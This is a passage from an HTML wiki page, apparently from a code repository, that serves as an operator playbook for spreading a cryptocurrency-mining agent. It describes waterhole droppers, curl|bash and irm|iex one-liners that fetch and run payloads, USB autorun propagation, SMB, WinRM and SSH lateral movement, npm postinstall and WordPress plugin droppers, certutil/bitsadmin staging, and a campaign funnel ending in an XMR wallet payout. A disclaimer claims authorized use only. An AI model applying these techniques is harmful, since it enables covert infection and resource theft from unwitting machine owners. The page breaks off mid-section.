0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
496 lines
34 KiB
HTML
496 lines
34 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="en">
|
||
<head>
|
||
<meta charset="UTF-8" />
|
||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||
<title>Spread Techniques — AetherForge</title>
|
||
<link rel="stylesheet" href="wiki.css" />
|
||
</head>
|
||
<body>
|
||
<div class="wiki-layout">
|
||
<aside class="wiki-sidebar">
|
||
<div class="wiki-sidebar-header">
|
||
<h1>AetherForge</h1>
|
||
<p>Spread techniques playbook</p>
|
||
<a href="/">← Command Deck</a>
|
||
<br />
|
||
<a href="/emberwake" style="margin-top:0.35rem;display:inline-block;">→ Emberwake</a>
|
||
<br />
|
||
<a href="index.html" style="margin-top:0.35rem;display:inline-block;">→ Full wiki</a>
|
||
</div>
|
||
<ul class="wiki-nav">
|
||
<li><a href="#overview">Overview</a></li>
|
||
<li><a href="#web-waterhole">Web waterhole</a></li>
|
||
<li><a href="#curl-bash">curl | bash VPS</a></li>
|
||
<li><a href="#campaign-war-room">Campaign & War Room</a></li>
|
||
<li><a href="#fusion-media">Fusion media</a></li>
|
||
<li><a href="#usb">USB</a></li>
|
||
<li><a href="#lan">LAN kindling</a></li>
|
||
<li><a href="#winrm-bootstrap">WinRM bootstrap</a></li>
|
||
<li><a href="#linux-lotl">Linux LOTL</a></li>
|
||
<li><a href="#enterprise-gpo">GPO / Intune</a></li>
|
||
<li><a href="#wordpress">WordPress plugin</a></li>
|
||
<li><a href="#npm-helper">npm postinstall</a></li>
|
||
<li><a href="#social-funnel">Social funnel</a></li>
|
||
<li><a href="#lotl-onion">LOTL Onion</a></li>
|
||
<li><a href="#third-party">Third-party & gaps</a></li>
|
||
</ul>
|
||
</aside>
|
||
|
||
<main class="wiki-content">
|
||
<section>
|
||
<h2>Spread Techniques Playbook</h2>
|
||
<p>
|
||
Red-team / threat-intelligence vectors mapped to <strong>AetherForge + Emberwake</strong> capabilities.
|
||
For <strong>authorized</strong> penetration testing, lab environments, and defensive planning only.
|
||
Landscape as of <strong>2024–2026</strong>.
|
||
</p>
|
||
<p>
|
||
Use <a href="/emberwake">Emberwake</a> for campaign builder, spread-kit export, supply-chain wizards, and
|
||
War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
|
||
</p>
|
||
|
||
<div class="spread-tab-bar" role="tablist" aria-label="Spread technique">
|
||
<button type="button" class="spread-tab active" role="tab" data-spread-tab="overview" aria-selected="true">Overview</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="web-waterhole" aria-selected="false">Web waterhole</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="curl-bash" aria-selected="false">curl | bash</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="campaign-war-room" aria-selected="false">Campaign & War Room</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="winrm-bootstrap" aria-selected="false">WinRM</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="linux-lotl" aria-selected="false">Linux LOTL</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="enterprise-gpo" aria-selected="false">GPO/Intune</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lotl-onion" aria-selected="false">LOTL Onion</button>
|
||
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
|
||
</div>
|
||
|
||
<!-- Overview -->
|
||
<div class="spread-panel active" data-spread-panel="overview" id="overview">
|
||
<h3>What does NOT work anymore</h3>
|
||
<div class="wiki-callout danger">
|
||
Modern browsers require a <strong>user click + run</strong>. Silent drive-by RCE, auto-run from Downloads,
|
||
and CRX sideload via normal download are dead paths for commodity ops.
|
||
</div>
|
||
<table class="wiki-table">
|
||
<thead><tr><th>Technique</th><th>Status</th><th>Why</th></tr></thead>
|
||
<tbody>
|
||
<tr><td>Silent browser RCE (visit → shell)</td><td><span class="wiki-status disabled">Dead</span></td><td>Chromium sandboxes, site isolation, removed plugins</td></tr>
|
||
<tr><td>Auto-run from Downloads</td><td><span class="wiki-status disabled">Dead</span></td><td>SmartScreen, MoTW, user-gesture requirements</td></tr>
|
||
<tr><td>Flash/Java plugin drive-by</td><td><span class="wiki-status disabled">Dead</span></td><td>Plugins removed or click-to-play extinct</td></tr>
|
||
<tr><td>Unauthenticated <code>curl | bash</code> on cautious admins</td><td><span class="wiki-status partial">Hard</span></td><td>Pipe-to-shell fingerprinting; inspect-before-run mitigations</td></tr>
|
||
<tr><td>CRX sideload via download</td><td><span class="wiki-status disabled">Dead</span></td><td>DownloadRestrictions; store policy blocks casual sideload</td></tr>
|
||
</tbody>
|
||
</table>
|
||
|
||
<h3>AetherForge stack — has vs needs</h3>
|
||
<table class="wiki-table">
|
||
<thead><tr><th>Capability</th><th>Status</th></tr></thead>
|
||
<tbody>
|
||
<tr><td><code>GET /get</code>, <code>/install.sh</code>, <code>/install.ps1</code> with <code>?pin=</code> + <code>?c=</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||
<tr><td>Spread Kit ZIP export + static lander at <code>/spread/</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||
<tr><td>Emberwake campaign builder + War Room funnel</td><td><span class="wiki-status working">Working</span></td></tr>
|
||
<tr><td>WordPress plugin + npm helper export wizards</td><td><span class="wiki-status working">Working</span></td></tr>
|
||
<tr><td>Fusion media ZIP bundles</td><td><span class="wiki-status working">Working</span></td></tr>
|
||
<tr><td>USB perpetual propagation (forge flag)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||
<tr><td>LAN autospread / share spread</td><td><span class="wiki-status working">Working</span></td></tr>
|
||
<tr><td>SocGholish fake-update branded lander</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td></tr>
|
||
<tr><td>OAuth redirect helper</td><td><span class="wiki-status stub">Needs</span></td></tr>
|
||
<tr><td>Public npm/PyPI typosquat publish</td><td><span class="wiki-status disabled">Out of scope</span></td></tr>
|
||
</tbody>
|
||
</table>
|
||
<p>Source matrix (markdown): <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
|
||
</div>
|
||
|
||
<!-- Web waterhole -->
|
||
<div class="spread-panel" data-spread-panel="web-waterhole" id="web-waterhole" hidden>
|
||
<h3>Web waterhole — dropper landing</h3>
|
||
<p><span class="wiki-status working">Working</span> Owned-origin button/link → <code>/get</code> or spread-kit ZIP.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>Forged build (pin optional) on your command deck</li>
|
||
<li>Public URL in Calibrate or tunnel to deck</li>
|
||
<li>Static host you control (same origin or Cloudflare Pages)</li>
|
||
</ul>
|
||
<h4>Emberwake steps</h4>
|
||
<ol class="spread-steps">
|
||
<li>Open <a href="/emberwake">Emberwake</a> → set campaign slug and pinned build.</li>
|
||
<li>Copy dropper URL or export spread-kit ZIP.</li>
|
||
<li>Deploy static lander — on-server copy at <a href="/spread/">/spread/</a> or upload exported kit.</li>
|
||
<li>Link visitors to <code>{deck}/get?pin={id}&c={slug}</code> or platform-detect <code>/get</code>.</li>
|
||
<li>Track hits in Emberwake → <a href="/emberwake#campaign-war-room">Campaign War Room</a>.</li>
|
||
</ol>
|
||
<h4>Platform notes</h4>
|
||
<p>Windows: SmartScreen + MoTW on executables. Pair with code signing (<code>sign_build</code>) to reduce friction.</p>
|
||
<a class="spread-deck-link" href="/emberwake">Open Emberwake →</a>
|
||
</div>
|
||
|
||
<!-- curl | bash -->
|
||
<div class="spread-panel" data-spread-panel="curl-bash" id="curl-bash" hidden>
|
||
<h3>curl | bash — headless server drops</h3>
|
||
<p><span class="wiki-status working">Working</span> <code>install.sh</code> / <code>install.ps1</code> one-liners for Linux/macOS/Windows Server.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>Deck reachable from target VPS (TLS recommended)</li>
|
||
<li>Linux/macOS: <strong>Web Drop</strong> forge preset or minimal headless build</li>
|
||
<li>Windows Server: AMSI / Constrained Language may block <code>irm | iex</code></li>
|
||
</ul>
|
||
<h4>Emberwake steps</h4>
|
||
<ol class="spread-steps">
|
||
<li>Emberwake → Campaign builder: set <code>?c=</code> slug and pin build.</li>
|
||
<li>Copy bash / PowerShell / macOS one-liners from the builder card.</li>
|
||
<li>Publish on first-party install docs page you operate.</li>
|
||
<li>Agent reports <code>AETHER_CAMPAIGN</code> on connect → War Room funnel.</li>
|
||
</ol>
|
||
<pre><code># Linux server
|
||
curl -sL https://your.site/install.sh?pin={build_id}&c=docs | bash
|
||
|
||
# Windows Server
|
||
irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||
<a class="spread-deck-link" href="/emberwake">Copy one-liners in Emberwake →</a>
|
||
</div>
|
||
|
||
<!-- Campaign & War Room -->
|
||
<div class="spread-panel" data-spread-panel="campaign-war-room" id="campaign-war-room" hidden>
|
||
<h3>Campaign links & War Room</h3>
|
||
<p><span class="wiki-status working">Working</span> Attribution via <code>?c=slug</code> on dropper and public download URLs.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>At least one forged build</li>
|
||
<li>Campaign slug per lure wave (e.g. <code>linkedin-bait</code>, <code>wp-my-blog</code>)</li>
|
||
</ul>
|
||
<h4>Emberwake steps</h4>
|
||
<ol class="spread-steps">
|
||
<li>Set campaign slug in Campaign builder; append to every dropper/public URL.</li>
|
||
<li>Optional A/B: pin Build A vs Build B with <code>?c=slug</code> and <code>?c=slug-b</code>.</li>
|
||
<li>Share links; War Room polls every 15s + WebSocket <code>emberwake_war_room</code>.</li>
|
||
<li>Read funnel: hits → downloads → first beacon → mining → hashrate per slug.</li>
|
||
</ol>
|
||
<h4>Endpoints</h4>
|
||
<table class="wiki-table">
|
||
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
|
||
<tbody>
|
||
<tr><td><code>GET /get?c=</code></td><td>Platform-detect download + campaign log</td></tr>
|
||
<tr><td><code>GET /api/v1/public/download/{id}?c=</code></td><td>Public artifact + campaign log</td></tr>
|
||
<tr><td><code>GET /api/v1/emberwake/war-room?days=7</code></td><td>Funnel board data (auth)</td></tr>
|
||
</tbody>
|
||
</table>
|
||
<a class="spread-deck-link" href="/emberwake#campaign-war-room">Open War Room →</a>
|
||
</div>
|
||
|
||
<!-- Fusion media -->
|
||
<div class="spread-panel" data-spread-panel="fusion-media" id="fusion-media" hidden>
|
||
<h3>Fusion media — codec / tool download</h3>
|
||
<p><span class="wiki-status working">Working</span> Movie or prep fusion ZIP with disguised runner names.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li><strong>Desktop Fusion</strong> spread profile or manual fusion flags at forge</li>
|
||
<li>Themed landing page on owned site</li>
|
||
<li>Optional: code signing to reduce SmartScreen prompts</li>
|
||
</ul>
|
||
<h4>Emberwake / forge steps</h4>
|
||
<ol class="spread-steps">
|
||
<li>Mission Deck → <strong>Desktop Fusion</strong> profile → forge universal bundle.</li>
|
||
<li>Host fusion ZIP on themed site (“codec pack”, “portable tool”).</li>
|
||
<li>Tag downloads with <code>?c=fusion-wave1</code> via public URL or manual campaign env.</li>
|
||
<li>Universal bundle auto-picks <code>Deploy.bat</code> / <code>deploy.sh</code> inside spread-kit scripts.</li>
|
||
</ol>
|
||
<p>Detection risk: medium (large ZIP, SmartScreen). User must still run extracted payload.</p>
|
||
<a class="spread-deck-link" href="/emberwake">Tag campaign in Emberwake →</a>
|
||
</div>
|
||
|
||
<!-- USB -->
|
||
<div class="spread-panel" data-spread-panel="usb" id="usb" hidden>
|
||
<h3>USB perpetual propagation</h3>
|
||
<p><span class="wiki-status working">Working</span> Forge-time <strong>USB Propagation</strong> flag — not an Emberwake export.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>Forge with <code>usb_spread</code> enabled (<strong>LAN Kindling</strong> profile includes USB)</li>
|
||
<li>Physical access path to insert USB on target Windows hosts</li>
|
||
</ul>
|
||
<h4>How it works</h4>
|
||
<ol class="spread-steps">
|
||
<li>Within ~8s of USB insert: drop agent to hidden folder, write <code>autorun.inf</code>, LNK, <code>SETUP.BAT</code>.</li>
|
||
<li>Create decoy folder; WMI subscription for future mounts.</li>
|
||
<li>Modern Windows limits autorun — user interaction often still required.</li>
|
||
</ol>
|
||
<p>See wiki <a href="index.html#usb-portable">USB Portable</a> for deck-on-stick packaging.</p>
|
||
<a class="spread-deck-link" href="/forge">Forge with USB flag →</a>
|
||
</div>
|
||
|
||
<!-- LAN -->
|
||
<div class="spread-panel" data-spread-panel="lan" id="lan" hidden>
|
||
<h3>LAN kindling — lateral spread</h3>
|
||
<p><span class="wiki-status working">Working</span> Universal spread kit + <code>auto_spread</code> / <code>share_spread</code>.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li><strong>LAN Kindling</strong> spread profile at forge (universal kit + autospread)</li>
|
||
<li>At least one patient zero on the subnet</li>
|
||
<li>C2 auth for aggressive lateral commands (Crucible ops separate profile)</li>
|
||
</ul>
|
||
<h4>Emberwake / forge steps</h4>
|
||
<ol class="spread-steps">
|
||
<li>Mission Deck → <strong>LAN Kindling</strong> → forge spread-kit universal ZIP.</li>
|
||
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
|
||
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
|
||
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
|
||
<li><strong>UNC spread (LOTL):</strong> <code>spread_smb_unc</code> — <code>sc.exe \\host create/start</code> with <code>binPath=</code> on a Forge output UNC (<code>\\forge\pathforge$\worker.exe</code>). Pure LOLBins: <code>sc.exe</code>, <code>net.exe</code>. Path Tracer: <code>POST /api/v1/pathtrace/spread</code> dispatches on the egress hop.</li>
|
||
<li><strong>Staging chain (LOTL):</strong> <code>stage_fetch</code> — download chunks via <code>curl.exe</code> or <code>bitsadmin</code>, <code>certutil -decode</code>, verify SHA256 from server, launch via <code>rundll32</code> or exe. Staging paths use the same traversal hygiene as upload/download.</li>
|
||
</ol>
|
||
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
|
||
</div>
|
||
|
||
<!-- WinRM bootstrap -->
|
||
<div class="spread-panel" data-spread-panel="winrm-bootstrap" id="winrm-bootstrap" hidden>
|
||
<h3>WinRM bootstrap — encoded registration</h3>
|
||
<p><span class="wiki-status working">Working</span> Export from Crucible → Spread Templates or <code>POST /api/v1/builder/spread-template-export</code>.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>Owned/lab Windows hosts with remoting enabled or rights to run <code>Enable-PSRemoting</code></li>
|
||
<li>Patient zero with <code>auto_spread</code> or <code>winrm_spread</code> forge flag for lateral encoded bootstrap</li>
|
||
</ul>
|
||
<h4>How it works</h4>
|
||
<ol class="spread-steps">
|
||
<li>Template runs <code>Enable-PSRemoting</code> + base64-encoded bootstrap that fetches <code>/get</code> with <code>?pin=</code> / <code>?c=</code>.</li>
|
||
<li>Agent starts with <code>--spread-install --defer-mining</code> — mining begins only after <code>mining_diagnostics</code> passes on C2.</li>
|
||
<li>Optional COM hijack under benign CLSID — <strong>default off</strong>; enable only on owned machines via export checkbox.</li>
|
||
<li>Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.</li>
|
||
</ol>
|
||
<p>API body: <code>{ "template": "winrm", "com_hijack": false }</code></p>
|
||
</div>
|
||
|
||
<!-- Linux LOTL -->
|
||
<div class="spread-panel" data-spread-panel="linux-lotl" id="linux-lotl" hidden>
|
||
<h3>Linux LOTL — systemd-run & crontab</h3>
|
||
<p><span class="wiki-status working">Working</span> SSH lateral spread + LOTL persistence options.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>Passwordless SSH keys for lateral targets (<code>BatchMode=yes</code>)</li>
|
||
<li>Forge <code>linux_lotl_mode</code>: <code>systemd_run_user</code>, <code>crontab</code>, or <code>both</code></li>
|
||
</ul>
|
||
<h4>How it works</h4>
|
||
<ol class="spread-steps">
|
||
<li><code>autospread_unix.go</code> SCP + SSH with <code>--spread-install --defer-mining</code>.</li>
|
||
<li>Template <code>lotl-bootstrap.sh</code>: curl <code>/get?os=linux</code>, optional <code>systemd-run --user</code> and/or crontab <code>@reboot</code>.</li>
|
||
<li>When no CUDA: fallback chain adds <code>linux_pyopencl</code> tier via <code>python3 -c import pyopencl</code> probe before <code>stratum_direct</code>.</li>
|
||
</ol>
|
||
<p>Export: <code>{ "template": "linux-lotl", "lotl_mode": "both" }</code></p>
|
||
</div>
|
||
|
||
<!-- GPO / Intune -->
|
||
<div class="spread-panel" data-spread-panel="enterprise-gpo" id="enterprise-gpo" hidden>
|
||
<h3>GPO / Intune enterprise spread</h3>
|
||
<p><span class="wiki-status working">Working</span> Startup scripts pull agent binary — <strong>mining policy stays server-side</strong>, not in the GPO/Intune blob.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>AD GPO edit rights or Intune script assignment on owned tenant</li>
|
||
<li>Reachable command deck URL from domain endpoints</li>
|
||
</ul>
|
||
<h4>How it works</h4>
|
||
<ol class="spread-steps">
|
||
<li><strong>GPO:</strong> Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code> (irm install.ps1 or fetch worker).</li>
|
||
<li><strong>Intune:</strong> Assign <code>intune-startup.ps1</code> as proactive remediation / platform script.</li>
|
||
<li>Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.</li>
|
||
<li><code>AETHER_DEFER_MINING=1</code> / <code>--defer-mining</code> until diagnostics pass.</li>
|
||
</ol>
|
||
<p>Export templates: <code>gpo</code> and <code>intune</code> via spread-template-export. Crucible → Spread tab → Spread Templates.</p>
|
||
</div>
|
||
|
||
<!-- WordPress -->
|
||
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
|
||
<h3>WordPress plugin — owned-site supply chain</h3>
|
||
<p><span class="wiki-status working">Working</span> Export plugin ZIP from Emberwake — upload to <em>your</em> WordPress host only.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>WordPress installation you operate (not wordpress.org directory)</li>
|
||
<li>Pinned build in Emberwake supply-chain wizard</li>
|
||
</ul>
|
||
<h4>Emberwake steps</h4>
|
||
<ol class="spread-steps">
|
||
<li>Emberwake → Supply-chain wizard → WordPress → pick build, site name, server URL.</li>
|
||
<li>Download <code>{slug}-wordpress-plugin.zip</code>.</li>
|
||
<li>WP Admin → Plugins → Add New → Upload → Activate.</li>
|
||
<li>Admin notice links to <code>/get?c=wp-{site}</code> on your deck.</li>
|
||
<li>Track <code>wp-{site}</code> in War Room.</li>
|
||
</ol>
|
||
<h4 id="wordpress-hosting-checklist">Hosting checklist</h4>
|
||
<ul>
|
||
<li>Unzip locally — layout <code>{slug}/{slug}.php</code> + <code>readme.txt</code></li>
|
||
<li>Upload ZIP via Plugins → Add New → Upload Plugin</li>
|
||
<li>Activate on owned host; verify Tools page + admin notice URL</li>
|
||
<li>Confirm War Room shows hits for <code>wp-{site}</code></li>
|
||
</ul>
|
||
<p>API: <code>POST /api/v1/builder/wordpress-plugin-export</code></p>
|
||
<a class="spread-deck-link" href="/emberwake">Open supply-chain wizard →</a>
|
||
</div>
|
||
|
||
<!-- npm helper -->
|
||
<div class="spread-panel" data-spread-panel="npm-helper" id="npm-helper" hidden>
|
||
<h3>npm postinstall helper — your packages only</h3>
|
||
<p><span class="wiki-status working">Working</span> Private package template — postinstall curls your <code>install.sh</code>.</p>
|
||
<h4>Prerequisites</h4>
|
||
<ul>
|
||
<li>Registry you control (private npm, Verdaccio, GitHub Packages)</li>
|
||
<li>Authorized CI/dev environments only — <strong>not</strong> public typosquat</li>
|
||
</ul>
|
||
<h4>Emberwake steps</h4>
|
||
<ol class="spread-steps">
|
||
<li>Emberwake → Supply-chain wizard → npm → set server URL, campaign, optional pin.</li>
|
||
<li>Download helper ZIP; adjust <code>package.json</code> name if needed.</li>
|
||
<li>Publish to your registry; add as dependency in authorized projects.</li>
|
||
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&pin=…</code>.</li>
|
||
</ol>
|
||
<h4 id="npm-hosting-checklist">Hosting checklist</h4>
|
||
<ul>
|
||
<li>Unzip npm helper template</li>
|
||
<li>Publish with <code>npm publish --access restricted</code></li>
|
||
<li>Add dependency in authorized pipeline only</li>
|
||
<li>Verify agent connect + War Room campaign slug</li>
|
||
</ul>
|
||
<p>API: <code>POST /api/v1/builder/npm-helper-export</code></p>
|
||
<a class="spread-deck-link" href="/emberwake">Export npm template →</a>
|
||
</div>
|
||
|
||
<!-- Social funnel -->
|
||
<div class="spread-panel" data-spread-panel="social-funnel" id="social-funnel" hidden>
|
||
<h3>Social engineering funnel</h3>
|
||
<p>Email / ads → owned lander → download. AetherForge maps the <strong>last mile</strong> once user reaches your origin.</p>
|
||
<table class="wiki-table">
|
||
<thead><tr><th>Technique</th><th>Status</th><th>Emberwake role</th></tr></thead>
|
||
<tbody>
|
||
<tr><td>Email → link → owned lander → download</td><td><span class="wiki-status working">Working</span></td><td><code>?c=</code> on <code>/get</code> + War Room</td></tr>
|
||
<tr><td>A/B droppers between waves</td><td><span class="wiki-status working">Working</span></td><td>Build A vs B pins in Campaign builder</td></tr>
|
||
<tr><td>OAuth redirect abuse</td><td><span class="wiki-status stub">Needs</span></td><td>No Entra app wizard — research only</td></tr>
|
||
<tr><td>SEO poisoning / malvertising</td><td><span class="wiki-status stub">Needs</span></td><td>Payload can be fusion/spread-kit; no ad tooling</td></tr>
|
||
<tr><td>HTML smuggling / IFRAME chains</td><td><span class="wiki-status stub">Needs</span></td><td>Client-side blob builder not shipped</td></tr>
|
||
</tbody>
|
||
</table>
|
||
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
|
||
</div>
|
||
|
||
<!-- LOTL Onion -->
|
||
<div class="spread-panel" data-spread-panel="lotl-onion" id="lotl-onion" hidden>
|
||
<h3>LOTL Onion — native-tool spread tier chain</h3>
|
||
<p>
|
||
<span class="wiki-status working">Working</span>
|
||
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
|
||
no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
|
||
</p>
|
||
<h4>Default tier order (vuln recon → GPO)</h4>
|
||
<p class="form-hint">
|
||
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
|
||
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
|
||
</p>
|
||
<table class="wiki-table">
|
||
<thead><tr><th>Tier</th><th>Definition</th><th>Example</th></tr></thead>
|
||
<tbody>
|
||
<tr id="lotl-tier-vuln_recon">
|
||
<td><strong>vuln_recon</strong></td>
|
||
<td>Read-only KEV/CVE/service probe before spread — report-only, no exploit. Feeds <code>vuln_findings</code> and <code>patch_first</code> gates.</td>
|
||
<td>Automatic triple-onion recon tier, or Crucible <code>full_sys_check</code> → risk badge on next <code>stats_batch</code>.</td>
|
||
</tr>
|
||
<tr id="lotl-tier-docker">
|
||
<td><strong>docker</strong></td>
|
||
<td>Deploy or mine inside Docker/Podman — isolated RandomX, no host miner exe drop.</td>
|
||
<td>Service allowlist maps <code>com.docker.service</code> → <code>docker_load</code>; Probe & Join when Docker is running.</td>
|
||
</tr>
|
||
<tr id="lotl-tier-wsl">
|
||
<td><strong>wsl</strong></td>
|
||
<td>WSL curl|bash one-liner when native Windows execution is blocked.</td>
|
||
<td><code>wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"</code></td>
|
||
</tr>
|
||
<tr id="lotl-tier-powershell">
|
||
<td><strong>powershell</strong></td>
|
||
<td>Hidden PS bootstrap or remoting from your C2 origin — no standalone payload exe.</td>
|
||
<td><code>irm https://deck.example/install.ps1?pin=BUILD_ID&c=lab | iex</code> — WinRM template export.</td>
|
||
</tr>
|
||
<tr id="lotl-tier-dotnet">
|
||
<td><strong>dotnet</strong></td>
|
||
<td><code>dotnet tool run</code> bootstrap — avoids a lone unsigned miner exe on disk.</td>
|
||
<td>Forge <code>miner_execution=dotnet</code>; spread lane runs dotnet bootstrap from install manifest.</td>
|
||
</tr>
|
||
<tr id="lotl-tier-bits_curl">
|
||
<td><strong>bits_curl</strong></td>
|
||
<td>BITS (<code>bitsadmin</code>) or <code>curl.exe</code> staging — optional <code>certutil -decode</code>, SHA256 verify, launch.</td>
|
||
<td>Crucible <code>stage_fetch</code>: <code>{"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"}</code></td>
|
||
</tr>
|
||
<tr id="lotl-tier-do_peer">
|
||
<td><strong>do_peer</strong></td>
|
||
<td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
|
||
<td>Probe & Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
|
||
</tr>
|
||
<tr id="lotl-tier-wsus_cache_peer">
|
||
<td><strong>wsus_cache_peer</strong></td>
|
||
<td>WSUS offline cache cousin — stages beside <code>SoftwareDistribution\Download</code>; probes Wuauserv/AU registry; hash verify + <code>rundll32</code>/exe with <code>--defer-mining</code>.</td>
|
||
<td>Forge <code>wsus_cache_peer_spread</code> ON — <code>Wuauserv</code> → <code>join_lane: wsus_cache_peer</code> (priority after <code>do_peer</code>).</td>
|
||
</tr>
|
||
<tr id="lotl-tier-dns_txt">
|
||
<td><strong>dns_txt</strong></td>
|
||
<td>DNS TXT mesh — shards in <code>_aether.<zone></code>; agent <code>nslookup</code>/<code>Resolve-DnsName</code>, assemble, SHA256 verify. Policy refresh via TXT TTL; tests use <code>/api/v1/public/dns-txt/{record}</code> fallback.</td>
|
||
<td>Forge <code>dns_txt_spread</code> default ON — signed plan: <code>{"join_lane":"dns_txt","dns_txt_zone":"lab.internal","dns_txt_records":["_aether.shard0.lab.internal"],"ttl_refresh_sec":300}</code></td>
|
||
</tr>
|
||
<tr id="lotl-tier-webrtc_mesh">
|
||
<td><strong>webrtc_mesh</strong></td>
|
||
<td>WebRTC LAN seed — first subnet agent seeder; manifest over data channel (STUN from server, WS relay signaling). <strong>Real:</strong> WebRTC bytes stay LAN; server sees hashrate + <code>join_lane</code> only. <strong>Tests:</strong> LAN HTTP fallback at <code>/api/v1/public/webrtc-mesh/manifest</code>.</td>
|
||
<td>Forge <code>webrtc_mesh_spread</code> default OFF — Calibrate <code>webrtc_mesh_policy.rotation_hours: 24</code> for seeder rotation.</td>
|
||
</tr>
|
||
<tr id="lotl-tier-smb">
|
||
<td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
|
||
<td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>
|
||
<td><code>{"action":"spread_smb_unc","path":"\\\\forge-host\\pathforge$\\worker.exe"}</code></td>
|
||
</tr>
|
||
<tr id="lotl-tier-winrm">
|
||
<td><strong>winrm</strong></td>
|
||
<td>Opportunistic PS remoting when 5985/5986 responds on subnet peers.</td>
|
||
<td><code>POST /api/v1/builder/spread-template-export</code> <code>{"template":"winrm","com_hijack":false}</code></td>
|
||
</tr>
|
||
<tr id="lotl-tier-linux">
|
||
<td><strong>linux</strong> (<code>linux_lotl</code>)</td>
|
||
<td>SSH/SCP lateral on Unix agents — same wallet; optional systemd-run or crontab persistence.</td>
|
||
<td><code>{"template":"linux-lotl","lotl_mode":"both"}</code> — <code>lotl-bootstrap.sh</code> + <code>autospread_unix.go</code>.</td>
|
||
</tr>
|
||
<tr id="lotl-tier-gpo">
|
||
<td><strong>gpo</strong></td>
|
||
<td>AD Group Policy startup script pulls worker on boot — mining policy stays on command deck.</td>
|
||
<td>Export <code>{"template":"gpo"}</code> → Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code>. Intune: <code>{"template":"intune"}</code>.</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<h4>Forge steps</h4>
|
||
<ol class="spread-steps">
|
||
<li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>
|
||
<li>Set <strong>XMR Wallet Address</strong> — same field as every other preset; payout goes here.</li>
|
||
<li>Forge once; tier order updates via server config when policy-from-server is on.</li>
|
||
</ol>
|
||
<a class="spread-deck-link" href="/forge">Open Forge →</a>
|
||
</div>
|
||
|
||
<!-- Third-party -->
|
||
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
|
||
